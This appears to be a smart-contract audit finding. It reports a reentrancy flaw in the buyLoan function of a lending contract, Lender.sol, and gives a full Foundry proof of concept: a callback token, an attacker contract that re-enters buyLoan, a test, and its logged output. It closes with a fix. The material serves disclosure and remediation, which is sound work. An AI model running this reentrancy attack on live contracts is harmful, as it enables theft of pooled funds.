20,000 USDC
View results
Submission Details
Severity: gas
Valid

Compromised / Malicious owner of `Lender.sol` can favour old pool by transfering all loans to new pool when `buyLoan` called and receive excess rewards.

Vulnerability Details

Note: As per known issues although owner is not suspected to perform any malicious activities, it is a severe issue considerable to think and mitigate.

The reentrancy occurs in the buyLoan(uint256 loanId, bytes32 poolId) function in Lender.sol. The loan[loanId] is updated only after sending protocol fee to the feeReceiver. If owner is compromised or malicious, when someone want to buy a loan there is a possibility of transferring all the loans (not only loan at auction) from old pool to the new pool which leads to acquiring excess lenderInterest to old pool and protocolInterest to owner (feeReceiver).

Proof of Concept

Reentrancy is possible if the borrower is lending tokens that can change the control flow. Such tokens are based on ERC20 such as ERC777, ERC223 or other customized ERC20 tokens that alert the receiver of transactions. Example of a real-world popular token that can change control flow is PNT (pNetwork).

The POC will demonstrate the following flow:

Consider 2 Pools.

  • Assume Pool_A

    • PoolBalance 9700 tkns

    • Outstanding loans 300 tkns

  • Assume Pool_B

    • PoolBalance 1000 tkns

    • Outstanding loans 0 tkns

  1. Pool_A sets a loan with 100 tkns to auction

  2. Pool_B wanted to buy the loan call buyLoan(loanId, poolId)

  3. It updates Pool_A and Pool_B poolBalance and outstanding loans.

    • Pool_A poolBalance added up 100 tkns + lenderInterest

    • Pool_A outstandingLoans are deduced with 100 tkns

    • Pool_B poolBalance is added with 100 tkns + lenderInterest + protocolInterest

    • Pool_B outstandingLoans added 100 tkns

  4. Now the protocol Interest is sent to feeReceiver who is malicious reenters the function buyLoan with same loanId, poolId.

  5. As the loan details aren’t updated yet, attacker can reenter until the Pool_A’s outstandingLoans reaches near zero.

Add to tests/mock/Tokens.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "openzeppelin/token/ERC20/ERC20.sol";
contract TERC20 is ERC20("collateralToken", "ct") {
function name() public pure override returns (string memory) {
return "Test ERC20";
}
function symbol() public pure override returns (string memory) {
return "TERC20";
}
function mint(address _to, uint256 _amount) public {
_mint(_to, _amount);
}
}
interface IERC20WithCallback {
function beforeTokenTransfer (address to, uint256 amount) external;
}
contract ERC777 is ERC20("loanToken", "lt") {
function mint(address account, uint256 amount) external returns(bool) {
_mint(account, amount);
return true;
}
function burnFrom(address account, uint256 amount) external returns(bool) {
_burn(account, amount);
return true;
}
function transfer(address to, uint256 amount) public virtual override returns (bool)
{
_beforeTokenTransfer(to, amount);
return super.transfer(to, amount);
}
function isContract(address addr) public view returns(bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
function _beforeTokenTransfer(address to, uint256 amount) internal {
if(isContract(to)) {
IERC20WithCallback(to).beforeTokenTransfer(to, amount);
}
}
}

Add this to tests/mock/AttackMock.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {TERC20, ERC777, IERC20WithCallback} from "./Tokens.sol";
import "../../src/Lender.sol";
contract AttackMock is IERC20WithCallback {
Lender public lender;
uint256 public loanId;
bytes32 public poolId;
bytes32 public oldPoolId;
uint256 debt;
function initiate() public returns(Lender) {
lender = new Lender();
return lender;
}
function setup(uint256 _loanId, bytes32 _poolId) public returns(Lender) {
loanId = _loanId;
poolId = _poolId;
(address _lender,,address _loanToken, address _collateralToken, uint256 _debt,,,,,) = lender.loans(_loanId);
debt = _debt;
oldPoolId = lender.getPoolId(_lender, _loanToken, _collateralToken);
return lender;
}
function getLender() public view returns(Lender) {
return lender;
}
function beforeTokenTransfer(address to, uint256 amount) external {
if (poolId != 0) {
(,,,,uint256 _newPoolBalance,,,,) = lender.pools(poolId);
(,,,,,,,,uint256 outstandingLoans) = lender.pools(oldPoolId);
if (_newPoolBalance > debt && outstandingLoans >= debt){
lender.buyLoan(loanId, poolId);
}
}
}
}

Add this to tests/BuyLoanReentrancy.t.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../src/Lender.sol";
import "src/utils/Structs.sol";
import "./mock/AttackMock.sol";
contract BuyLoanReentrancy is Test {
BuyLoanMock public attackContract = new AttackMock();
address public attackAddress;
Lender public lender;
ERC777 public loanToken;
TERC20 public collateralToken;
address public lender1 = address(0x1);
address public lender2 = address(0x2);
address public lender3 = address(0x3);
address public lender4 = address(0x4);
address public borrower = address(0x5);
address public borrower1 = address(0x6);
address public borrower2 = address(0x7);
function setUp() public {
lender = attackContract.initiate();
attackAddress = address(attackContract);
loanToken = new ERC777();
collateralToken = new TERC20();
loanToken.mint(address(lender1), 100000*10**18);
loanToken.mint(address(lender2), 100000*10**18);
loanToken.mint(address(lender3), 100000*10**18);
loanToken.mint(address(lender4), 100000*10**18);
collateralToken.mint(address(borrower), 100000*10**18);
collateralToken.mint(address(borrower1), 100000*10**18);
collateralToken.mint(address(borrower2), 100000*10**18);
vm.startPrank(lender1);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
vm.startPrank(lender2);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
vm.startPrank(lender3);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
vm.startPrank(lender4);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
vm.startPrank(borrower);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
vm.startPrank(borrower1);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
vm.startPrank(borrower2);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
}
function test_set_and_borrow(address _lender, address _borrower) public returns(bytes32) {
// set pool as lender 1
vm.startPrank(_lender);
Pool memory p = Pool({
lender: _lender,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*1e18,
poolBalance: 10000*1e18,
maxLoanRatio: 2*1e18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);
vm.startPrank(_borrower);
Borrow memory b = Borrow({
poolId: poolId,
debt: 100*1e18,
collateral: 100*1e18
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
return poolId;
}
function test_borrow(bytes32 _poolId, address _borrower) public {
vm.startPrank(_borrower);
Borrow memory b = Borrow({
poolId: _poolId,
debt: 100*1e18,
collateral: 100*1e18
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
}
function test_buy_loan_reentrancy() public {
bytes32 poolId = test_set_and_borrow(lender1, borrower);
test_borrow(poolId, borrower1);
test_borrow(poolId, borrower2);
// accrue interest
vm.warp(block.timestamp + 364 days + 12 hours);
// kick off auction
vm.startPrank(lender1);
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
lender.startAuction(loanIds);
// create new pool as lender 2
vm.startPrank(lender2);
Pool memory p2 = Pool({
lender: lender2,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId2 = lender.setPool(p2);
// warp to middle of auction
vm.warp(block.timestamp + 12 hours);
attackContract.setup(0, poolId2);
// Debug -----------------------------------------------------------------
(,,,, uint256 _pb2,,,, uint256 _ol2) = lender.pools(poolId);
(,,,, uint256 _pb3,,,, uint256 _ol3) = lender.pools(poolId2);
emit log_string("Before Attack: ");
emit log_string("///////////////////////////////////////");
emit log_named_decimal_uint("Old Pool Balance: ", _pb2, 18);
emit log_named_decimal_uint("Outstanding loans: ", _ol2, 18);
emit log_named_decimal_uint("New Pool Balance: ", _pb3, 18);
emit log_named_decimal_uint("New Outstanding loans: ", _ol3, 18);
emit log_named_decimal_uint("Fees Acquired by attacker: ", loanToken.balanceOf(attackAddress), 18);
emit log_string("");
// -----------------------------------------------------------------------
// Debug -----------------------------------------------------------------
emit log_string("when buyLoan executed for single loan of debt 100, attacker (Lender.sol deployer reenter multiple times)");
emit log_string("");
// -----------------------------------------------------------------------
// lender 2 buys loan
lender.buyLoan(0, poolId2);
vm.stopPrank();
// Debug -----------------------------------------------------------------
(,,,, uint256 pb2,,,, uint256 ol2) = lender.pools(poolId);
(,,,, uint256 pb3,,,, uint256 ol3) = lender.pools(poolId2);
emit log_string("After Attack: ");
emit log_string("///////////////////////////////////////");
emit log_named_decimal_uint("Old Pool Balance: ", pb2, 18);
emit log_named_decimal_uint("Outstanding loans: ", ol2, 18);
emit log_named_decimal_uint("New Pool Balance: ", pb3, 18);
emit log_named_decimal_uint("New Outstanding loans: ", ol3, 18);
emit log_named_decimal_uint("Fees Acquired by attacker: ", loanToken.balanceOf(attackAddress), 18);
emit log_string("");
// -----------------------------------------------------------------------
}
}

Run the test with command forge test --match-test test_buy_loan_reentrancy -vv

Expected Output:

[PASS] test_buy_loan_reentrancy() (gas: 1615496)
Logs:
Before Attack:
///////////////////////////////////////
Old Pool Balance: : 9700.000000000000000000
Outstanding loans: : 300.000000000000000000
New Pool Balance: : 1000.000000000000000000
New Outstanding loans: : 0.000000000000000000
Fees Acquired by attacker: : 1.500000000000000000
when buyLoan executed for single loan of debt 100, attacker (Lender.sol deployer reenter multiple times)
After Attack:
///////////////////////////////////////
Old Pool Balance: : 10027.000000000000000000
Outstanding loans: : 0.000000000000000000
New Pool Balance: : 670.000000000000000000
New Outstanding loans: : 330.000000000000000000
Fees Acquired by attacker: : 4.500000000000000000

Impact

Leads to acquiring excess fee and also arise centralization issues as lender can be favorable to one of the pools.

Tools Used

Foundry

Recommendations

Use Checks, Effects, Interaction pattern by updating loan details before fee transfer or use reentrancyGaurd

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!